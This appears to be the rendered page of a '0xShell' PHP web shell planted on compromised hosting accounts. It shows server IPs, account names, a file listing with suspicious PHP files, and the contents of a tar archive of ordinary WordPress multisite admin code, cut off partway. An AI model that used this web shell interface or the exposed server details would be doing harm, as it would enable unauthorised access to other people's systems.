0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php 0xShell

0xShell

System Info:
User: jonasls | UID: 188156 | GID: 100 | Groups: 100
Server IP: 10.127.20.1 | Client IP: 216.73.216.28
PHP: 8.0.30 | OS: Linux | Server: Apache
/home/jonasls/www/7affd2$

Files

Viewing: network.tar

site-info.php000064400000017155152204755650007176 0ustar00<?php
/**
 * Edit Site Info Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
$is_main_site  = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	// Rewrite rules can't be flushed during switch to blog.
	delete_option( 'rewrite_rules' );

	$blog_data           = wp_unslash( $_POST['blog'] );
	$blog_data['scheme'] = $parsed_scheme;

	if ( $is_main_site ) {
		// On the network's main site, don't allow the domain or path to change.
		$blog_data['domain'] = $details->domain;
		$blog_data['path']   = $details->path;
	} else {
		// For any other site, the scheme, domain, and path can all be changed. We first
		// need to ensure a scheme has been provided, otherwise fallback to the existing.
		$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );

		if ( ! $new_url_scheme ) {
			$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
		}
		$update_parsed_url = parse_url( $blog_data['url'] );

		// If a path is not provided, use the default of `/`.
		if ( ! isset( $update_parsed_url['path'] ) ) {
			$update_parsed_url['path'] = '/';
		}

		$blog_data['scheme'] = $update_parsed_url['scheme'];

		// Make sure to not lose the port if it was provided.
		$blog_data['domain'] = $update_parsed_url['host'];
		if ( isset( $update_parsed_url['port'] ) ) {
			$blog_data['domain'] .= ':' . $update_parsed_url['port'];
		}

		$blog_data['path'] = $update_parsed_url['path'];
	}

	$existing_details     = get_site( $id );
	$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );

	foreach ( $blog_data_checkboxes as $c ) {
		if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) {
			$blog_data[ $c ] = $existing_details->$c;
		} else {
			$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
		}
	}

	update_blog_details( $id, $blog_data );

	// Maybe update home and siteurl options.
	$new_details = get_site( $id );

	$old_home_url    = trailingslashit( esc_url( get_option( 'home' ) ) );
	$old_home_parsed = parse_url( $old_home_url );
	$old_home_host   = $old_home_parsed['host'] . ( isset( $old_home_parsed['port'] ) ? ':' . $old_home_parsed['port'] : '' );

	if ( $old_home_host === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
		$new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'home', $new_home_url );
	}

	$old_site_url    = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
	$old_site_parsed = parse_url( $old_site_url );
	$old_site_host   = $old_site_parsed['host'] . ( isset( $old_site_parsed['port'] ) ? ':' . $old_site_parsed['port'] : '' );

	if ( $old_site_host === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
		$new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'siteurl', $new_site_url );
	}

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-info.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site info updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-info',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-info.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		// The main site of the network should not be updated on this page.
		if ( $is_main_site ) :
			?>
		<tr class="form-field">
			<th scope="row"><?php _e( 'Site Address (URL)' ); ?></th>
			<td><code><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></code></td>
		</tr>
			<?php
			// For any other site, the scheme, domain, and path can all be changed.
		else :
			?>
		<tr class="form-field form-required">
			<th scope="row"><label for="url"><?php _e( 'Site Address (URL)' ); ?></label></th>
			<td><input name="blog[url]" type="url" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td>
		</tr>
		<?php endif; ?>

		<tr class="form-field">
			<th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ); ?></label></th>
			<td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ); ?>" /></td>
		</tr>
		<tr class="form-field">
			<th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th>
			<td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ); ?>" /></td>
		</tr>
		<?php
		$site_attributes_title = __( 'Attributes' );

		$attribute_fields = array( 'public' => _x( 'Public', 'site' ) );
		if ( ! $is_main_site ) {
			$attribute_fields['archived'] = __( 'Archived' );
			$attribute_fields['spam']     = _x( 'Spam', 'site' );
			$attribute_fields['deleted']  = __( 'Flagged for Deletion' );
		}
		$attribute_fields['mature'] = __( 'Mature' );
		?>
		<tr>
			<th scope="row"><?php echo $site_attributes_title; ?></th>
			<td>
			<fieldset>
			<legend class="screen-reader-text"><?php echo $site_attributes_title; ?></legend>
			<?php foreach ( $attribute_fields as $field_key => $field_label ) : ?>
				<label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); ?> <?php disabled( ! in_array( (int) $details->$field_key, array( 0, 1 ), true ) ); ?> />
				<?php echo $field_label; ?></label><br />
			<?php endforeach; ?>
			<fieldset>
			</td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the site info form in network admin.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id The site ID.
	 */
	do_action( 'network_site_info_form', $id );

	submit_button();
	?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
index.php000064400000005537152204755650006411 0ustar00<?php
/**
 * Multisite administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** Load WordPress dashboard API */
require_once ABSPATH . 'wp-admin/includes/dashboard.php';

if ( ! current_user_can( 'manage_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Dashboard' );
$parent_file = 'index.php';

$overview  = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>';
$overview .= '<p>' . __( 'From here you can:' ) . '</p>';
$overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>';
$overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>';
$overview .= '<li>' . __( 'Update your network' ) . '</li>';
$overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $overview,
	)
);

$quick_tasks  = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>';
$quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user&#42;.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'quick-tasks',
		'title'   => __( 'Quick Tasks' ),
		'content' => $quick_tasks,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/">Documentation on the Network Admin</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<div id="dashboard-widgets-wrap">

<?php wp_dashboard(); ?>

<div class="clear"></div>
</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php
wp_print_community_events_templates();
require_once ABSPATH . 'wp-admin/admin-footer.php';
site-settings.php000064400000013537152204755650010103 0ustar00<?php
/**
 * Edit Site Settings Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
	foreach ( (array) $_POST['option'] as $key => $val ) {
		$key = wp_unslash( $key );
		$val = wp_unslash( $val );
		if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) {
			continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options.
		}
		update_option( $key, $val );
	}

	/**
	 * Fires after the site options are updated.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 Added `$id` parameter.
	 *
	 * @param int $id The ID of the site being updated.
	 */
	do_action( 'wpmu_update_blog_options', $id );

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-settings.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site options updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>

<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-settings',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-settings.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		$blog_prefix = $wpdb->get_blog_prefix( $id );
		$options     = $wpdb->get_results(
			$wpdb->prepare(
				'SELECT * FROM %i
				WHERE option_name NOT LIKE %s
				AND option_name NOT LIKE %s',
				"{$blog_prefix}options",
				$wpdb->esc_like( '_' ) . '%',
				'%' . $wpdb->esc_like( 'user_roles' )
			)
		);

		foreach ( $options as $option ) {
			if ( 'default_role' === $option->option_name ) {
				$editblog_default_role = $option->option_value;
			}

			$disabled = false;
			$class    = 'all-options';

			if ( is_serialized( $option->option_value ) ) {
				if ( is_serialized_string( $option->option_value ) ) {
					$option->option_value = esc_html( maybe_unserialize( $option->option_value ) );
				} else {
					$option->option_value = 'SERIALIZED DATA';
					$disabled             = true;
					$class                = 'all-options disabled';
				}
			}

			$ltr_fields = array(
				'siteurl',
				'home',
				'admin_email',
				'new_admin_email',
				'mailserver_url',
				'mailserver_login',
				'mailserver_pass',
				'ping_sites',
				'permalink_structure',
				'category_base',
				'tag_base',
				'upload_path',
				'upload_url_path',
			);
			if ( in_array( $option->option_name, $ltr_fields, true ) ) {
				$class .= ' ltr';
			}

			if ( str_contains( $option->option_value, "\n" ) ) {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ); ?>]" id="<?php echo esc_attr( $option->option_name ); ?>"<?php disabled( $disabled ); ?>><?php echo esc_textarea( $option->option_value ); ?></textarea></td>
				</tr>
				<?php
			} else {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ), true ) ) { ?>
					<td><code><?php echo esc_html( $option->option_value ); ?></code></td>
					<?php } else { ?>
					<td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ); ?>]" type="text" id="<?php echo esc_attr( $option->option_name ); ?>" value="<?php echo esc_attr( $option->option_value ); ?>" size="40" <?php disabled( $disabled ); ?> /></td>
					<?php } ?>
				</tr>
				<?php
			}
		} // End foreach.

		/**
		 * Fires at the end of the Edit Site form, before the submit button.
		 *
		 * @since 3.0.0
		 *
		 * @param int $id Site ID.
		 */
		do_action( 'wpmueditblogaction', $id );
		?>
	</table>
	<?php submit_button(); ?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
user-edit.php000064400000000375152204755650007176 0ustar00<?php
/**
 * Edit user network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/user-edit.php';
update.php000064400000000702152204755650006551 0ustar00<?php
/**
 * Update/Install Plugin/Theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update.php';
profile.php000064400000000376152204755650006736 0ustar00<?php
/**
 * User profile network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/profile.php';
settings.php000064400000053013152204755650007132 0ustar00<?php
/**
 * Multisite network settings administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'manage_network_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Network Settings' );
$parent_file = 'settings.php';

// Handle network admin email change requests.
if ( ! empty( $_GET['network_admin_hash'] ) ) {
	$new_admin_details = get_site_option( 'network_admin_hash' );
	$redirect          = 'settings.php?updated=false';
	if ( is_array( $new_admin_details ) && hash_equals( $new_admin_details['hash'], $_GET['network_admin_hash'] ) && ! empty( $new_admin_details['newemail'] ) ) {
		update_site_option( 'admin_email', $new_admin_details['newemail'] );
		delete_site_option( 'network_admin_hash' );
		delete_site_option( 'new_admin_email' );
		$redirect = 'settings.php?updated=true';
	}
	wp_redirect( network_admin_url( $redirect ) );
	exit;
} elseif ( ! empty( $_GET['dismiss'] ) && 'new_network_admin_email' === $_GET['dismiss'] ) {
	check_admin_referer( 'dismiss_new_network_admin_email' );
	delete_site_option( 'network_admin_hash' );
	delete_site_option( 'new_admin_email' );
	wp_redirect( network_admin_url( 'settings.php?updated=true' ) );
	exit;
}

add_action( 'admin_head', 'network_settings_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site&#8217;s options.' ) . '</p>' .
			'<p>' . __( 'Operational settings has fields for the network&#8217;s name and admin email.' ) . '</p>' .
			'<p>' . __( 'Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.' ) . '</p>' .
			'<p>' . __( 'New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what&#8127;s put in the first post, page, comment, comment author, and comment URL.' ) . '</p>' .
			'<p>' . __( 'Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).' ) . '</p>' .
			'<p>' . __( 'You can set the language, and WordPress will automatically download and install the translation files (available if your filesystem is writable).' ) . '</p>' .
			'<p>' . __( 'Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.' ) . '</p>' .
			'<p>' . __( 'Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/settings/">Documentation on Network Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

if ( $_POST ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	check_admin_referer( 'siteoptions' );

	$checked_options = array(
		'menu_items'                  => array(),
		'registrationnotification'    => 'no',
		'upload_space_check_disabled' => 1,
		'add_new_users'               => 0,
	);
	foreach ( $checked_options as $option_name => $option_unchecked_value ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			$_POST[ $option_name ] = $option_unchecked_value;
		}
	}

	$options = array(
		'registrationnotification',
		'registration',
		'add_new_users',
		'menu_items',
		'upload_space_check_disabled',
		'blog_upload_space',
		'upload_filetypes',
		'site_name',
		'first_post',
		'first_page',
		'first_comment',
		'first_comment_url',
		'first_comment_author',
		'welcome_email',
		'welcome_user_email',
		'fileupload_maxk',
		'illegal_names',
		'limited_email_domains',
		'banned_email_domains',
		'WPLANG',
		'new_admin_email',
		'first_comment_email',
	);

	// Handle translation installation.
	if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
		$language = wp_download_language_pack( $_POST['WPLANG'] );
		if ( $language ) {
			$_POST['WPLANG'] = $language;
		}
	}

	foreach ( $options as $option_name ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			continue;
		}
		$value = wp_unslash( $_POST[ $option_name ] );
		update_site_option( $option_name, $value );
	}

	/**
	 * Fires after the network options are updated.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'update_wpmu_options' );

	wp_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php' ) ) );
	exit;
}

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_GET['updated'] ) ) {
	wp_admin_notice(
		__( 'Settings saved.' ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>
	<form method="post" action="settings.php" novalidate="novalidate">
		<?php wp_nonce_field( 'siteoptions' ); ?>
		<h2><?php _e( 'Operational Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><label for="site_name"><?php _e( 'Network Title' ); ?></label></th>
				<td>
					<input name="site_name" type="text" id="site_name" class="regular-text" value="<?php echo esc_attr( get_network()->site_name ); ?>" />
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="admin_email"><?php _e( 'Network Admin Email' ); ?></label></th>
				<td>
					<input name="new_admin_email" type="email" id="admin_email" aria-describedby="admin-email-desc" class="regular-text" value="<?php echo esc_attr( get_site_option( 'admin_email' ) ); ?>" />
					<p class="description" id="admin-email-desc">
						<?php _e( 'This address is used for admin purposes. If you change this, an email will be sent to your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?>
					</p>
					<?php
					$new_admin_email = get_site_option( 'new_admin_email' );
					if ( $new_admin_email && get_site_option( 'admin_email' ) !== $new_admin_email ) :
						$notice_message = sprintf(
							/* translators: %s: New network admin email. */
							__( 'There is a pending change of the network admin email to %s.' ),
							'<code>' . esc_html( $new_admin_email ) . '</code>'
						);

						$notice_message .= sprintf(
							' <a href="%1$s">%2$s</a>',
							esc_url( wp_nonce_url( network_admin_url( 'settings.php?dismiss=new_network_admin_email' ), 'dismiss_new_network_admin_email' ) ),
							__( 'Cancel' )
						);

						wp_admin_notice(
							$notice_message,
							array(
								'type'               => 'warning',
								'dismissible'        => true,
								'additional_classes' => array( 'inline' ),
							)
						);
					endif;
					?>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Registration Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<?php $new_registrations_settings_title = __( 'Allow new registrations' ); ?>
			<tr>
				<th scope="row"><?php echo $new_registrations_settings_title; ?></th>
				<?php
				if ( ! get_site_option( 'registration' ) ) {
					update_site_option( 'registration', 'none' );
				}
				$reg = get_site_option( 'registration' );
				?>
				<td>
					<fieldset>
					<legend class="screen-reader-text"><?php echo $new_registrations_settings_title; ?></legend>
					<label><input name="registration" type="radio" id="registration1" value="none"<?php checked( $reg, 'none' ); ?> /> <?php _e( 'Registration is disabled' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration2" value="user"<?php checked( $reg, 'user' ); ?> /> <?php _e( 'User accounts may be registered' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration3" value="blog"<?php checked( $reg, 'blog' ); ?> /> <?php _e( 'Logged in users may register new sites' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration4" value="all"<?php checked( $reg, 'all' ); ?> /> <?php _e( 'Both sites and user accounts can be registered' ); ?></label>
					<?php
					if ( is_subdomain_install() ) {
						echo '<p class="description">';
						printf(
							/* translators: 1: NOBLOGREDIRECT, 2: wp-config.php */
							__( 'If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site.' ),
							'<code>NOBLOGREDIRECT</code>',
							'<code>wp-config.php</code>'
						);
						echo '</p>';
					}
					?>
					</fieldset>
				</td>
			</tr>

			<tr>
				<th scope="row"><?php _e( 'Registration notification' ); ?></th>
				<?php
				if ( ! get_site_option( 'registrationnotification' ) ) {
					update_site_option( 'registrationnotification', 'yes' );
				}
				?>
				<td>
					<label><input name="registrationnotification" type="checkbox" id="registrationnotification" value="yes"<?php checked( get_site_option( 'registrationnotification' ), 'yes' ); ?> /> <?php _e( 'Send the network admin an email notification every time someone registers a site or user account' ); ?></label>
				</td>
			</tr>

			<tr id="addnewusers">
				<th scope="row"><?php _e( 'Add Users' ); ?></th>
				<td>
					<label><input name="add_new_users" type="checkbox" id="add_new_users" value="1"<?php checked( get_site_option( 'add_new_users' ) ); ?> /> <?php _e( 'Allow site administrators to add new users to their site via the "Users &rarr; Add User" page' ); ?></label>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="illegal_names"><?php _e( 'Banned Names' ); ?></label></th>
				<td>
					<?php
					$illegal_names = get_site_option( 'illegal_names' );

					if ( empty( $illegal_names ) ) {
						$illegal_names = '';
					} elseif ( is_array( $illegal_names ) ) {
						$illegal_names = implode( ' ', $illegal_names );
					}
					?>
					<input name="illegal_names" type="text" id="illegal_names" aria-describedby="illegal-names-desc" class="large-text" value="<?php echo esc_attr( $illegal_names ); ?>" size="45" />
					<p class="description" id="illegal-names-desc">
						<?php _e( 'Users are not allowed to register these sites. Separate names by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="limited_email_domains"><?php _e( 'Limited Email Registrations' ); ?></label></th>
				<td>
					<?php
					$limited_email_domains = get_site_option( 'limited_email_domains' );

					if ( empty( $limited_email_domains ) ) {
						$limited_email_domains = '';
					} else {
						// Convert from an input field. Back-compat for WPMU < 1.0.
						$limited_email_domains = str_replace( ' ', "\n", $limited_email_domains );

						if ( is_array( $limited_email_domains ) ) {
							$limited_email_domains = implode( "\n", $limited_email_domains );
						}
					}
					?>
					<textarea name="limited_email_domains" id="limited_email_domains" aria-describedby="limited-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $limited_email_domains ); ?></textarea>
					<p class="description" id="limited-email-domains-desc">
						<?php _e( 'If you want to limit site registrations to certain domains. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="banned_email_domains"><?php _e( 'Banned Email Domains' ); ?></label></th>
				<td>
					<?php
					$banned_email_domains = get_site_option( 'banned_email_domains' );

					if ( empty( $banned_email_domains ) ) {
						$banned_email_domains = '';
					} elseif ( is_array( $banned_email_domains ) ) {
						$banned_email_domains = implode( "\n", $banned_email_domains );
					}
					?>
					<textarea name="banned_email_domains" id="banned_email_domains" aria-describedby="banned-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $banned_email_domains ); ?></textarea>
					<p class="description" id="banned-email-domains-desc">
						<?php _e( 'If you want to ban domains from site registrations. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

		</table>
		<h2><?php _e( 'New Site Settings' ); ?></h2>
		<table class="form-table" role="presentation">

			<tr>
				<th scope="row"><label for="welcome_email"><?php _e( 'Welcome Email' ); ?></label></th>
				<td>
					<textarea name="welcome_email" id="welcome_email" aria-describedby="welcome-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_email' ) ); ?></textarea>
					<p class="description" id="welcome-email-desc">
						<?php _e( 'The welcome email sent to new site owners.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="welcome_user_email"><?php _e( 'Welcome User Email' ); ?></label></th>
				<td>
